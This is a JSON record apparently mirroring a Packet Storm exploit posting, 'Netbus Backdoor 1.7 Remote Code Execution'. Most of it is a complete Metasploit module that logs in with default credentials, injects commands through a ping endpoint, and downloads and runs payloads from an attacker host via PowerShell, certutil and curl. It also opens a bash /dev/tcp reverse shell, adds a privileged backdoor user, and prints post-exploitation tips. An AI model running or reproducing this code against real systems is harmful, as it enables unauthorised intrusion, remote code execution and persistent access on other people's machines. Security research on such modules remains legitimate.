{“lastseen”:”2025-12-26T17:18:14″,”description”:”Netbus Backdoor version 1.7 Metasploit module that leverages an insecure credential storage vulnerability that then performs command injection…”,”published”:”2025-12-26T00:00:00″,”modified”:”2025-12-26T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Netbus Backdoor 1.7 Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:213315″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”=============================================================================================================================================\\n | # Title : Netbus Backdoor 1.7 From Legacy to Modern IoT Risks Full RCE Threat |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits) |\\n | # Vendor : System built\u2011in component. No standalone download available |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/213263\/ \\u0026 MVID-2025-0703\\n \\n [+] Summary : This document traces the evolution of a Metasploit module concept from an initial theoretical\/historical analysis of the 1998 NetBus backdoor to a practical, \\n modern exploit module targeting insecure credential storage vulnerabilities. \\n \\t\\t\\t\\t The journey highlights critical distinctions between academic research modules and production-ready exploits.\\n \\n [+] Evolution of Exploitation Techniques :\\n \\n 1998 NetBus Model\\n \u2193\\n Core Vulnerability: Insecure Credential Storage\\n \u2193\\n Modern Manifestations:\\n \\n \u2022 IoT devices with default passwords\\n \u2022 Web admin panels with hardcoded credentials \\n \u2022 Industrial control systems with backdoor accounts\\n \u2193\\n Modern Exploitation Methods:\\n \\n \u2022 Authentication bypass \u2192 Command injection\\n \u2022 File upload \u2192 Remote code execution\\n \u2022 Privilege escalation \u2192 Persistent access\\n \\n [+] POC :\\n \\n ##\\n # This module exploits the \\”Insecure Credential Storage\\” vulnerability in modern systems\\n # Similar to the NetBus principle but in modern web applications\\n ##\\n \\n class MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = ExcellentRanking\\n \\n include Msf::Exploit::Remote::HttpClient\\n include Msf::Exploit::CmdStager\\n \\n def initialize(info = {})\\n super(update_info(info,\\n ‘Name’ =\\u003e ‘IoT Device Backdoor Credential RCE’,\\n ‘Description’ =\\u003e %q{\\n This module exploits two common vulnerabilities in IoT devices and embedded systems:\\n 1. Insecure credential storage (default\/static passwords)\\n 2. Command injection via system management interface\\n \\n The module simulates a realistic scenario similar to NetBus but in a modern context.\\n },\\n ‘Author’ =\\u003e [\\n ‘indoushka’,\\n ‘Based on NetBus research by John Page (hyp3rlinx)’\\n ],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘References’ =\\u003e [\\n [‘URL’, ‘https:\/\/owasp.org\/www-community\/vulnerabilities\/Use_of_hard-coded_password’],\\n [‘CWE’, ‘798’], # Use of Hard-coded Credentials\\n [‘CWE’, ’78’], # OS Command Injection\\n [‘TTP’, ‘T1078’], # Valid Accounts\\n [‘TTP’, ‘T1059’] # Command and Scripting Interpreter\\n ],\\n ‘Platform’ =\\u003e [‘linux’, ‘unix’, ‘win’],\\n ‘Arch’ =\\u003e [ARCH_X86, ARCH_X64, ARCH_ARMLE],\\n ‘Targets’ =\\u003e [\\n [‘Linux (x86\/x64)’, { ‘Platform’ =\\u003e ‘linux’, ‘Arch’ =\\u003e [ARCH_X86, ARCH_X64] }],\\n [‘Linux (ARM)’, { ‘Platform’ =\\u003e ‘linux’, ‘Arch’ =\\u003e ARCH_ARMLE }],\\n [‘Windows’, { ‘Platform’ =\\u003e ‘win’, ‘Arch’ =\\u003e [ARCH_X86, ARCH_X64] }]\\n ],\\n ‘Privileged’ =\\u003e true,\\n ‘DisclosureDate’ =\\u003e ‘2023-01-01’,\\n ‘DefaultTarget’ =\\u003e 0\\n ))\\n \\n register_options([\\n OptString.new(‘TARGETURI’, [true, ‘Base path to the vulnerable endpoint’, ‘\/’]),\\n OptString.new(‘USERNAME’, [true, ‘Default\/backdoor username’, ‘admin’]),\\n OptString.new(‘PASSWORD’, [true, ‘Default\/backdoor password’, ‘admin’]),\\n OptString.new(‘BACKDOOR_USER’, [false, ‘Username to add for persistence’, ‘backdoor’]),\\n OptString.new(‘BACKDOOR_PASS’, [false, ‘Password for the new user’, ‘P@ssw0rd123!’])\\n ])\\n end\\n \\n def check\\n # Step 1: Check for default credentials\\n print_status(\\”Checking for default credentials…\\”)\\n \\n res = send_login_request\\n \\n if res \\u0026\\u0026 res.code == 200 \\u0026\\u0026 res.body.include?(‘success’)\\n return Exploit::CheckCode::Vulnerable\\n elsif res \\u0026\\u0026 res.code == 401\\n return Exploit::CheckCode::Safe\\n end\\n \\n Exploit::CheckCode::Unknown\\n end\\n \\n def exploit\\n print_status(\\”Attempting to exploit insecure credential storage…\\”)\\n \\n # 1. Authenticate using insecure credentials\\n unless authenticate\\n fail_with(Failure::NoAccess, ‘Authentication failed’)\\n end\\n \\n print_good(\\”Successfully authenticated with default credentials!\\”)\\n \\n # 2. Use appropriate execution method based on target system\\n case target[‘Platform’]\\n when ‘linux’\\n exploit_linux\\n when ‘win’\\n exploit_windows\\n else\\n exploit_generic\\n end\\n end\\n \\n private\\n \\n def send_login_request\\n send_request_cgi({\\n ‘method’ =\\u003e ‘POST’,\\n ‘uri’ =\\u003e normalize_uri(target_uri.path, ‘login.php’),\\n ‘vars_post’ =\\u003e {\\n ‘username’ =\\u003e datastore[‘USERNAME’],\\n ‘password’ =\\u003e datastore[‘PASSWORD’]\\n },\\n ‘headers’ =\\u003e {\\n ‘User-Agent’ =\\u003e ‘Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.1)’\\n }\\n })\\n end\\n \\n def authenticate\\n print_status(\\”Authenticating as #{datastore[‘USERNAME’]}:#{datastore[‘PASSWORD’]}\\”)\\n \\n res = send_login_request\\n \\n if res \\u0026\\u0026 res.code == 200\\n # Check for authentication success in response\\n if res.body.include?(‘success’) || res.body.include?(‘dashboard’) || res.get_cookies.include?(‘session’)\\n @auth_cookies = res.get_cookies\\n return true\\n end\\n end\\n \\n false\\n end\\n \\n def exploit_linux\\n print_status(\\”Target is Linux, using command injection…\\”)\\n \\n # Method 1: Direct Command Injection\\n if try_command_injection\\n return\\n end\\n \\n # Method 2: Command Stager (to upload and execute payload)\\n print_status(\\”Attempting command stager delivery…\\”)\\n \\n execute_cmdstager(\\n flavor: :curl,\\n delay: 0.5\\n )\\n end\\n \\n def exploit_windows\\n print_status(\\”Target is Windows, using PowerShell\/Command Prompt…\\”)\\n \\n # 1. Try PowerShell\\n powershell_cmd = \\”powershell -c \\\\\\”IEX(New-Object Net.WebClient).DownloadString(‘http:\/\/#{datastore[‘LHOST’]}:#{datastore[‘SRVPORT’]}\/shell.ps1′)\\\\\\”\\”\\n \\n if execute_command(powershell_cmd)\\n return\\n end\\n \\n # 2. Try CertUtil (common alternative in Windows)\\n certutil_cmd = \\”certutil -urlcache -f http:\/\/#{datastore[‘LHOST’]}:#{datastore[‘SRVPORT’]}\/payload.exe C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\payload.exe \\u0026\\u0026 C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\payload.exe\\”\\n \\n execute_command(certutil_cmd)\\n end\\n \\n def exploit_generic\\n print_status(\\”Using generic exploitation method…\\”)\\n \\n # Direct command execution to return Shell\\n cmd = \\”bash -c ‘bash -i \\u003e\\u0026 \/dev\/tcp\/#{datastore[‘LHOST’]}\/#{datastore[‘LPORT’]} 0\\u003e\\u00261’\\”\\n \\n execute_command(cmd)\\n end\\n \\n def try_command_injection\\n print_status(\\”Testing for command injection…\\”)\\n \\n test_cmds = [\\n ‘; id;’, \\n ‘| id |’,\\n ‘`id`’,\\n ‘$(id)’,\\n ‘|| id ||’\\n ]\\n \\n test_cmds.each do |injector|\\n cmd = \\”ping #{injector}\\”\\n if execute_command(cmd, check_pattern: ‘uid=’)\\n return true\\n end\\n end\\n \\n false\\n end\\n \\n def execute_command(cmd, opts = {})\\n uri = normalize_uri(target_uri.path, ‘admin’, ‘ping.php’)\\n \\n # Inject command into parameter\\n payload = {\\n ‘host’ =\\u003e \\”127.0.0.1 #{cmd}\\”,\\n ‘count’ =\\u003e ‘1’\\n }\\n \\n res = send_request_cgi({\\n ‘method’ =\\u003e ‘POST’,\\n ‘uri’ =\\u003e uri,\\n ‘cookie’ =\\u003e @auth_cookies,\\n ‘vars_post’ =\\u003e payload,\\n ‘timeout’ =\\u003e 5\\n })\\n \\n if opts[:check_pattern] \\u0026\\u0026 res \\u0026\\u0026 res.body.include?(opts[:check_pattern])\\n print_good(\\”Command injection successful!\\”)\\n print_line(\\”Output: #{res.body}\\”)\\n return true\\n end\\n \\n false\\n rescue ::Exception =\\u003e e\\n print_error(\\”Error executing command: #{e.message}\\”)\\n false\\n end\\n \\n # Add user for persistence (Backdoor)\\n def add_backdoor_user\\n return unless datastore[‘BACKDOOR_USER’] \\u0026\\u0026 datastore[‘BACKDOOR_PASS’]\\n \\n print_status(\\”Adding backdoor user #{datastore[‘BACKDOOR_USER’]}…\\”)\\n \\n case target[‘Platform’]\\n when ‘linux’\\n cmds = [\\n \\”useradd -m -s \/bin\/bash #{datastore[‘BACKDOOR_USER’]}\\”,\\n \\”echo ‘#{datastore[‘BACKDOOR_USER’]}:#{datastore[‘BACKDOOR_PASS’]}’ | chpasswd\\”,\\n \\”usermod -aG sudo #{datastore[‘BACKDOOR_USER’]} 2\\u003e\/dev\/null || usermod -aG wheel #{datastore[‘BACKDOOR_USER’]} 2\\u003e\/dev\/null\\”\\n ]\\n \\n when ‘win’\\n cmds = [\\n \\”net user #{datastore[‘BACKDOOR_USER’]} #{datastore[‘BACKDOOR_PASS’]} \/add\\”,\\n \\”net localgroup administrators #{datastore[‘BACKDOOR_USER’]} \/add\\”\\n ]\\n end\\n \\n cmds.each { |cmd| execute_command(cmd) }\\n \\n print_good(\\”Backdoor user added successfully!\\”)\\n end\\n \\n def on_new_session(client)\\n super\\n \\n # After obtaining session, add backdoor user\\n add_backdoor_user if client.type == ‘meterpreter’ || client.type == ‘shell’\\n \\n # User tips\\n print_good(\\”Tips for post-exploitation:\\”)\\n print_line(\\”1. Check system info: cat \/etc\/os-release || systeminfo\\”)\\n print_line(\\”2. Look for interesting files: find \/ -type f -name ‘*.txt’ -o -name ‘*.conf’ 2\\u003e\/dev\/null\\”)\\n print_line(\\”3. Check network connections: netstat -antup || ss -tunap\\”)\\n \\n if datastore[‘BACKDOOR_USER’]\\n print_line(\\”4. Backdoor credentials: #{datastore[‘BACKDOOR_USER’]} \/ #{datastore[‘BACKDOOR_PASS’]}\\”)\\n end\\n end\\n end\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/213315″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/213315\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-26T17:18:14″,”description”:”Netbus Backdoor version 1.7 Metasploit module that leverages an insecure credential storage vulnerability that then performs command injection…”,”published”:”2025-12-26T00:00:00″,”modified”:”2025-12-26T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Netbus Backdoor 1.7 Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:213315″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”=============================================================================================================================================\\n |…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-32941","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n